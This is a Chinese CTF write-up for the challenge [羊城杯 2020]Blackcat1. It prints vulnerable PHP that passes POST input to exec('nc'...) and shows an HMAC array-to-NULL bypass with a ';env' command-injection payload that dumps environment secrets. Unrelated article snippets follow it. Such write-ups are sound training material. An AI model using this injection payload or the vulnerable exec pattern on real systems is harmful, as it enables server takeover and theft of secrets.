[羊城杯 2020]Blackcat1
知识点:数组加密绕过

进入页面熟悉的web三部曲(url地址,web源代码,web目录扫描)
url地址没有什么东西去看看源代码.

这有一个mp3文件点一下看看.

在最后面发现了 PHP源码.
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){die('谁!竟敢踩我一只耳的尾巴!');
}$clandestine = getenv("clandestine");if(isset($_POST['White-cat-monitor']))$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);if($hh !== $_POST['Black-Cat-Sheriff']){die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}echo exec("nc".$_POST['One-ear']);
开始代码审计.
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){ die('谁!竟敢踩我一只耳的尾巴!');
}
// 检查POST请求中是否包含'Black-Cat-Sheriff'和'One-ear'字段,且它们不为空。
// 这是一个基本的输入验证,但不足以防止所有类型的攻击。 $clandestine = getenv("clandestine");
// 从环境变量中获取名为'clandestine'的值,这通常用于存储敏感信息,如密钥。
// 但从环境变量中直接读取密钥可能不安全,因为它可能暴露给不应访问它的进程。 if(isset($_POST['White-cat-monitor'])) $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
// 如果POST请求中包含'White-cat-monitor',则使用其值对'clandestine'进行HMAC SHA256哈希处理。
// 这可能导致'clandestine'的值被意外修改,这可能不是预期的行为。 $hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
// 使用'clandestine'作为密钥,对'One-ear'的值进行HMAC SHA256哈希处理。
// 这可能用于验证'One-ear'的值,但依赖于之前'clandestine'的值是否已被修改。 if($hh !== $_POST['Black-Cat-Sheriff']){ die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}
// 验证'Black-Cat-Sheriff'的值是否与预期的哈希值匹配。
// 如果不匹配,则输出一条消息并终止脚本。 echo exec("nc".$_POST['One-ear']); // 危险!
// 这里存在严重的安全问题!
// 使用exec函数执行以'nc'(Netcat)开头的命令,并将'One-ear'的值附加到命令中。
// 这允许攻击者通过控制'One-ear'的值来执行任意命令,这是典型的命令注入漏洞。
// 攻击者可以利用这个漏洞来完全控制服务器。
意思是我们要保证Black-Cat-Sheriff 和 One-ear 两个参数的POST值存在的同时Black-Cat-Sheriff的值要等于One-ear经过sha256加密后的值($hh),最后通过exec这个危险函数来获取flag.
知识点:当数组进行sha256加密时,返回总为NULL.
示例:
<?php
var_dump(hash_hmac('sha256', array(0), 'Unknown_key'));?>结果为:NULL
如果我们想要保证hh的value等于Black-Cat-Sheriff的value,那么我们就需要控制这两个参数的value,因为$clandestine=getenv("clandestine");,我们无法知道它(第一次加密)的环境变量的value,但由于我们知道当数组进行sha256加密时,返回总为NULL,我们就可以控制$clandestine(第二次加密)这个key的value=NULL从而控制hh的value.
话不多说开始注入.
利用下面这exp求出Black-Cat-Sheriff的value
<?php
var_dump(hash_hmac('sha256', ";env", NULL));
?>result:afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b
White-cat-monitor[]=1&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env
至于为什么 用的是;env,而不是什么cat flag,是因为flag文件里的flag值时假的,他的flag值在环境变量里,同时 ; 是为了不被前面的nc影响.

得到flag游戏结束~
相关文章:
[羊城杯 2020]Blackcat1
知识点:数组加密绕过 进入页面熟悉的web三部曲(url地址,web源代码,web目录扫描) url地址没有什么东西去看看源代码. 这有一个mp3文件点一下看看. 在最后面发现了 PHP源码. if(empty($_POST[Black-Cat-Sheriff]) || em…...
腾讯云Ubuntu系统安装宝塔,配置Java环境,运行spring boot项目
致谢 本次学习宝塔部署spring boot项目,参考如下资料 https://www.cnblogs.com/daen/p/15997872.html 系统安装宝塔 直接用的腾讯云云服务器面板上的登录,你可以换成 xshell 进入宝塔官网: https://www.bt.cn/new/download.html 我们采…...
双亲委派机制知识点
类加载器 双亲委派模型 为什么采用双亲委派模型 打破双亲委派机制的场景 Tomcat 打破双亲委派机制:目的是可以加载不同版本的jar包 实现类隔离:在Tomcat中,每个Web应用使用独立的类加载器加载类文件,这样做的好处在于,当在同一T…...
vue part 11
vuex的模块化与namespace 115_尚硅谷Vue技术_vuex模块化namespace_1_哔哩哔哩_bilibili 116_尚硅谷Vue技术_vuex模块化namespace_2_哔哩哔哩_bilibili vue-router路由 很常见的很重要的应用:Ajax请求,将响应的数据替换掉原先的代码从而实现不跳转页面…...
【QT】常用类
欢迎来到Cefler的博客😁 🕌博客主页:折纸花满衣 🏠个人专栏:QT 目录 👉🏻QMediaPlayer👉🏻QMediaPlaylistsetPlaybackMode 👉🏻QDir👉…...
从index_put出发全面学习cuda和pytorch技术
一 前言 深感目前对于cuda和pytorch所涉及知识的广度和深度,但一时又不知道该如何去学习,经过多日的考虑,还是决定管中窥豹,从一个算子出发,抽丝剥茧,慢慢学习,把学习中碰到的问题都记录下来,希望可以坚持下去。 二 函数功能描述 【torch算子】torch.index_put和tor…...
浅谈住房城乡建设部科技创新平台布局重点方向
最近住房建设部组织开展住房城乡建设部科技创新平台(以下简称部科技创新平台)申报工作。详细内容见住房城乡建设部科技创新平台开始申报了 (qq.com)。在这里有4大方向共15个课题。内容见下图: 虽然我是做技术的,但是如何体现创新还…...
调用 write()函数后,如何知道数据是否已经写入磁盘?
在 Linux 中调用 write() 函数后,可以通过以下几种方式来确定数据是否已经写入磁盘: 一、使用同步函数 1. fsync() 函数: - 这个函数会强制将与文件描述符相关的所有修改过的内核缓冲区写入磁盘,并等待直到磁盘 I/O 操作完…...
策略路由与路由策略的区别
🐣个人主页 可惜已不在 🐤这篇在这个专栏 华为_可惜已不在的博客-CSDN博客 🐥有用的话就留下一个三连吧😼 目录 一、主体不同 二、方式不同 三、规则不同 四、定义和基本概念 一、主体不同 1、路由策略:是为了改…...
从底层原理上理解ClickHouse 中的稀疏索引
稀疏索引(Sparse Indexes)是 ClickHouse 中一个重要的加速查询机制。与传统数据库使用的 B-Tree 或哈希索引不同,ClickHouse 的稀疏索引并不是为每一行数据构建索引,而是为数据存储的块或部分数据生成索引。这种索引的核心思想是通…...
xtu oj 锐角三角形
锐角三角形 题目描述 n条边,任选3条边,能组成多少个锐角三角形(选的边不同就认为是不同的三角形)? 输入 第一个是一个整数T(1≤T≤1000),表示样例的个数。 每个样例占2行,第一行是一…...
MATLAB系列04:循环结构
MATLAB系列04:循环结构 4. 循环结构4.1 while循环4.2 for循环4.2.1 运算的细节4.2.2 break语句和continue语句4.2.3 嵌套循环 4.3 逻辑数组和向量化4.3.1 逻辑数组的重要性4.3.2 用 if/else 结构和逻辑数组创建等式 4.4 总结 4. 循环结构 循环(loop)是一种 MATLAB …...
虹科方案 | 精准零部件测试!多路汽车开关按键功能检测系统
欢迎关注虹科,为您提供最新资讯! #LIN/CAN总线 #零部件测试 #CAN数据 导读 在汽车制造业中,零部件的安全性、功能性和可靠性是确保车辆整体性能的关键。虹科针对车辆零部件的LIN/CAN总线仿真测试,提出了基于虹科Baby-LIN系列产…...
【加密算法基础——AES CBC模式代码解密实践】
AES 解密实践之代码实现 AES 解密使用python脚本比较灵活,但是一定要保证脚本是调试过的,才能在找到正确的密文,密钥,初始向量的情况下,解出正确的明文。但是对于AES解密,命令行无法处理key截断的问题。 实…...
【ViT+Dis】Deepfake Detection Scheme Based on Vision Transformer and Distillation
文章目录 Deepfake Detection Scheme Based on Vision Transformer and Distillationkey points深伪检测检测算法蒸馏法与教师网络实验训练:参数总结Deepfake Detection Scheme Based on Vision Transformer and Distillation 会议:2021 作者: key points 以往基于CNN结…...
maya-vray渲染蒙版
要用一个叫vrayMulWrapper的材质球,把alpha Conterbution调到-1,勾选matte surface启用蒙版物体。...
计网简简单单复习一下
文章目录 基础体系结构(分层模型)为什么要分层?OSI 七层模型?每一层的作用?TCP/IP 四层模型是什么?每一层的作用是什么?五层体系结构以及对应的协议每一层常见协议有哪些?从输入 URL 到页面展示到底发生了什么?URI和URL的区别;forward和redirect的区别DNS作用是什么?D…...
PyQt5-loading-圆环加载效果
效果预览 代码实现 from PyQt5.QtCore import QSize, pyqtProperty, QTimer, Qt, QThread, pyqtSignal from PyQt5.QtGui import QColor, QPainter from PyQt5.QtWidgets import QApplication, QWidget, QHBoxLayout, QPushButton, QVBoxLayout, QLabel, QGridLayoutclass Cir…...
RabbitMQ Spring客户端使用
注解声明式队列和交换机 java自带序列化工具类,将java对象序列化为字节数组,用于网络传输。 jdk序列号存在缺陷,(不安全,占用空间大等) 推荐使用JSON的序列化: springboot扫描包使配置生效&…...
Arduino IDE离线配置第三方库文件-ESP32开发板
简洁版可以使用uget等,将文件下载到对应文件夹下,然后安装。 esp32之arduino配置下载提速 录屏 Arduino IDE离线配置第三方库文件ESP32 资源 Linux https://download.csdn.net/download/ZhangRelay/89749063 第三方开发板 非默认支持的开发板 linu…...
如何通过哈氏训练提升孩子的学习能力以应对多动症表现和作业拖延症?
如何运用哈氏训练助力孩子克服多动症表现与作业拖延 哈氏训练是一种有效的应对策略,尤其对有多动症表现和作业拖延症的孩子。首先,这种训练方法可以帮助孩子建立稳定的日常作息,提高他们的注意力和自我控制能力。通过结构化的活动和渐进式的任…...
oklog架构深度解析:如何实现无协调的分布式日志存储
oklog架构深度解析:如何实现无协调的分布式日志存储 【免费下载链接】oklog A distributed and cordination-free log management system 项目地址: https://gitcode.com/gh_mirrors/ok/oklog 在当今云原生和微服务架构盛行的时代,分布式日志管理…...
如何为《以撒的结合:悔改》安装REPENTOGON扩展框架
如何为《以撒的结合:悔改》安装REPENTOGON扩展框架 【免费下载链接】REPENTOGON Script extender for The Binding of Isaac: Repentance 项目地址: https://gitcode.com/gh_mirrors/re/REPENTOGON REPENTOGON是一款针对《以撒的结合:悔改》的扩展…...
.NET 10了,HttpClient还是不能用using吗?我做了一个实验
会突然变成玄学:有的人能跑,有的人会炸,有人说这是一个这是一个“bug”,在某某版本中会修复(其实并没有),有人说这是一个feature,设计就是如此……所以我决定做一个实验,…...
Comsol 单孔激光烧蚀:探索微观世界的烧蚀奥秘
comsol单孔激光烧蚀 在材料加工等众多领域,激光烧蚀技术凭借其高精度、非接触等优势备受瞩目。而 Comsol 作为一款强大的多物理场仿真软件,为我们深入研究激光烧蚀过程提供了有力工具。今天就来聊聊 Comsol 单孔激光烧蚀那些事儿。 Comsol 仿真原理 激…...
油猴插件开发必备:VSCode中高效使用Tampermonkey API的10个技巧
油猴插件开发必备:VSCode中高效使用Tampermonkey API的10个技巧 在浏览器扩展开发领域,Tampermonkey(油猴)以其轻量级和灵活性赢得了大量开发者的青睐。作为一款用户脚本管理器,它允许开发者通过JavaScript快速定制网页…...
深入探索Verilog-mode的AUTO功能:提升Verilog/SystemVerilog编码效率
1. Verilog-mode与AUTO功能初探 如果你经常用Verilog或SystemVerilog做数字设计,肯定遇到过这些烦恼:手动实例化模块时要反复核对端口列表、修改信号名后得同步更新十几处连线、敏感信号列表漏写导致仿真异常...这些问题在大型项目中尤为明显。而Emacs的…...
【衢州学院主办,上海交通大学协办 | IET出版(有ISSN号) | 往届两年已完成 EI 、 IEEE Xplore检索 | 大咖组委】第三届人工智能与电力系统国际学术会议(AIPS 2026)
第三届人工智能与电力系统国际学术会议(AIPS 2026) 2026 3rd International Conference on Artificial Intelligence and Power System 大会官网:www.icaips.org【参会投稿】 大会时间:2026年5月22-24日 大会地点:中国-浙江-衢…...
单片机案例:单位数码管显示0,7和轮转显示0—9
文章目录1.单位数码管显示0效果图代码2.单位数码管显示7效果图代码3.单位数码管轮转显示0—9效果图代码1.单位数码管显示0 效果图 代码 #include <reg52.h>#define uchar unsigned char #define uint unsigned int// 定义锁存器控制引脚 sbit LE P2^7; // 74HC573的锁…...
森利威尔SL3041B替换LM5018 100V降压3.3V5V12V恒压芯片
在工业、汽车及电池供电的电子系统中,高压降压转换器的选择往往需要在性能、可靠性与成本之间取得平衡。传统上,LM5018等进口芯片凭借其高输入电压范围和稳定的性能占据一定市场,但随着国内半导体技术的成熟,国产替代方案已具备与…...
